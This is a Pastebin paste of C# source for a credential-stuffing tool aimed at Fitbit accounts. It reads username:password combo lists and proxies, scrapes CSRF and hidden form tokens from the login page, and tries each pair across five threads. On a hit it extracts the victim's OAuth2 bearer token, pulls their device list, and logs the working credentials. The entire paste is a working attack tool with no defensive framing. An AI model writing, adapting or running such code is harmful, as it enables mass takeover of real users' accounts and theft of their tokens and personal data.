Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Diagnostics;
- using System.IO;
- using System.Linq;
- using System.Net;
- using System.Text;
- using System.Threading;
- using System.Threading.Tasks;
- using crackingLib;
- using RestSharp;
- using RestSharp.Extensions.MonoHttp;
- namespace Calix
- {
- class Program
- {
- private static bool running = true;
- private static int tries;
- static void makeRequest()
- {
- string[] combo = comboSystem.getCombo().Split(':');
- string user = combo[0];
- string pass = combo[1];
- if (user != "INVALID" && pass != "INVALID")
- {
- var cookieJar = new CookieContainer();
- var client = new RestClient("https://www.fitbit.com/login");
- // client.Proxy = new WebProxy(proxySystem.getProxy());
- client.UserAgent =
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36";
- client.CookieContainer = cookieJar;
- var request = new RestRequest(Method.GET);
- var exec = client.Execute(request);
- var csrf = HttpUtility.UrlEncode(
- usefulThings.captureBetween(exec.Content, "window.fitbitCsrfToken = '", "';"));
- var __fp = HttpUtility.UrlEncode(usefulThings.captureBetween(exec.Content,
- "<input type=\"hidden\" name=\"__fp\" value=\"", "\" /></div></form>"));
- var __sourcePage = HttpUtility.UrlEncode(usefulThings
- .captureBetween(exec.Content,
- "name=\"_sourcePage\" value=\"", "\" /></div></form>")
- .Split('=')[0] + "==");
- request.Method = Method.POST;
- request.AddParameter("application/x-www-form-urlencoded",
- string.Format(
- "login=Log+In&includeWorkflow=&redirect=&switchToNonSecureOnRedirect=&csrfToken={0}&disableThirdPartyLogin=false&email={1}&password={2}&rememberMe=true&_sourcePage={3}&__fp={4}",
- csrf, HttpUtility.UrlEncode(user), HttpUtility.UrlEncode(pass),
- __sourcePage, __fp), ParameterType.RequestBody);
- exec = client.Execute(request);
- tries++;
- if (exec.Content.Contains("banned"))
- {
- running = false;
- }
- Console.Title = tries.ToString();
- if (exec.Content.Contains("logout"))
- {
- request.Method = Method.GET;
- client.BaseUrl = new Uri("https://www.fitbit.com/user/profile/share");
- exec = client.Execute(request);
- var encodedId = usefulThings.captureBetween(exec.Content, "\"encodedId\":\"", "\",\"id");
- var oauth = usefulThings.captureBetween(exec.Content, "\"oauth2Token\":\"", "\",\"apiUrl\"");
- Console.WriteLine(encodedId);
- Console.WriteLine(oauth);
- request.AddHeader("Authorization", string.Format("Bearer {0}", oauth));
- client.BaseUrl = new Uri(string.Format("https://web-api.fitbit.com/1/user/{0}/devices.json",
- encodedId));
- exec = client.Execute(request);
- if (exec.Content != "[]")
- {
- Console.WriteLine("Found Hit: " + user + ":" + pass + exec.Content);
- }
- else
- {
- Console.WriteLine("Found Hit: " + user + ":" + pass);
- }
- }
- }
- else
- {
- running = false;
- }
- }
- static void Main(string[] args)
- {
- comboSystem.Load("./combos.txt");
- proxySystem.Load("./proxies.txt");
- Thread[] ts = new Thread[5];
- for (int i = 0; i < ts.Length; i++)
- {
- ts[i] = new Thread(() =>
- {
- while (running)
- {
- makeRequest();
- }
- });
- ts[i].Start();
- }
- for (int i = 0; i < ts.Length; i++)
- {
- ts[i].Join();
- }
- Console.Read();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement